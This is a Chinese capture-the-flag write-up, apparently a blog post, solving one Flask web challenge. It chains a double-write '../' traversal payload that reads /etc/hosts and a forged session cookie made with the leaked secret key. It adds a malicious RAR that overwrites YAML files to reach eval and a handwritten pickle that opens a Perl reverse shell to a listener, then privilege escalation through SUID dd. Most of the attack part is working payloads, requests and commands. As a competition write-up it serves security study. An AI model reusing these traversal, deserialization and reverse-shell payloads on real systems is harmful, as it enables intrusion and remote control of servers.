WEB佬“坐牢”的一天,只做了一题
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return path
except:
return response("Failed.", 500)
利用双写绕过 ../
payload:
http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/....//....//....//....//....//....//....//etc/hosts
拿到hosts文件,得到secret_key : engine-1
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.6.119.171 engine-1
根据源代码,把Guest改成Administrator即可开启上传权限,更改updir可以改变上传文件的目录
└─$ python3 flask_session_cookie_manager3.py decode -s "engine-1" -c "eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywiv7A.OS3IHqaOzrmCRx50l1eTUJh2Qrg"
{'updir': 'static/uploads/4b3cf1ffc9224f4d830c5a29db854d15', 'user': 'Guest'}
首先上传一个普通rar文件测试(不能被check) 文件名:fff.rar
POST /upload HTTP/1.1
Host: eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Length: 658
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycWHiBd1u820grB2v
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8
Cookie: UM_distinctid=17fafc501cb1894-00e2da0225aa6a-13495c7e-1fa400-17fafc501cc15bb; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1659141632,1661235002; session=eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTpE
Connection: close
------WebKitFormBoundarycWHiBd1u820grB2v
Content-Disposition: form-data; name="file"; filename="fff.rar"
Content-Type: application/vnd.rar
Rar!óáëß%ß$äF,Jcpasswd
!AcØfÝËPd3#?VMç
6[¢ù
$I²éºmÓo¾`:¨6y°û$«ðÉKà¼Dj9I¦Ó9&I¤±'÷Ù·>âc.ÛÃlCµ-¥ÔÁ:Uc)#üp"/sPá\Ä-²ÿ>#÷ö;¹2tH([ºZæÝuiÓ ffGY²9è(M)NJëÈrbþÏ$©:d
8BFä&jT6Uúí¾C¢ëX¤gϪ±[¬pb8UkVò®6Xæ^|°ß1PcÉççöµ84Ï/bÊo<'MÉ/!7ëÑĹ·3}ÞTô,è¶8vÏWS®$ÖMì:èÔ^BZhS_ ió#*hôVMÂ9Þo.XÖáæzaó¾uZÆÜZßÇB¬¹3Øïë®JÄæ[¶JÉÇϳÏjà5Ò^|¦ÒßqÅÿô ®ú/û¡K,Røþ¦wVQ
------WebKitFormBoundarycWHiBd1u820grB2v--
根据代码,上传文件成功后会在fileinfo文件夹内生成一个yaml文件,并在 /display 路由下加载该yaml文件,那么如果更改 updir 的值为网站主目录,然后把rar文件命名为 fileinfo.rar。
这样该rar文件内的内容就会被直接解压到 fileinfo 目录内,那么就有机会覆盖其他rar文件对应的yaml文件,通过复写yaml文件导致任意命令执行。
首先制作恶意的rar文件
由于题目里有过滤条件,通过直接加载yaml文件进行命令执行较为困难,所以同步上传一个pickle反序列化文件,通过yaml加载pickle文件进行命令执行。payload:
filename: aaa.rar
files:
- !!python/object/new:bytes
- !!python/object/new:map
- !!python/name:eval
- ["__import__\x28'pickle'\x29.load\x28open\x28'fileinfo/pik','rb'\x29\x29"]
同时将该yaml文件命名为9d2718721006ee787d641f526da07952.yaml
,文件名为第一次上传的正常文件的文件名的md5值,这样访问那个正常rar文件时就可以触发该恶意的yaml文件。
手写opcode,payload:
cos
system
(S'perl -e \'use Socket;$i="ip";$p=7001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''
tR.
将pickle 文件也打包进去
rar a fileinfo.rar 9d2718721006ee787d641f526da07952.yaml pik
在 ./ 目录下上传 fileinfo.rar 文件
更改session, payload:
└─$ python3 flask_session_cookie_manager3.py encode -s "engine-1" -t "{'updir': './', 'user': 'Administrator'}"
eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTp
上传之后重新访问fff.rar 文件,在服务器端监听收到反弹的shell
发现没有访问flag的权限,全局搜索suid权限命令进行提权访问,发现dd命令可以利用
dd 提权法 :https://www.cnblogs.com/zlgxzswjy/p/12746160.html
成功获得flag
赛后交流发现了师傅们的其他思路
用python/object/new:map 调用 os.popen
!!python/object/new:frozenset
- !!python/object/new:map
- !!python/name:os.popen
- ["bash /app/fileinfo/cmd"]
还有师傅将result.html 覆盖后进行SSTI,直接访问页面传参执行命令
点击蓝字
关注我们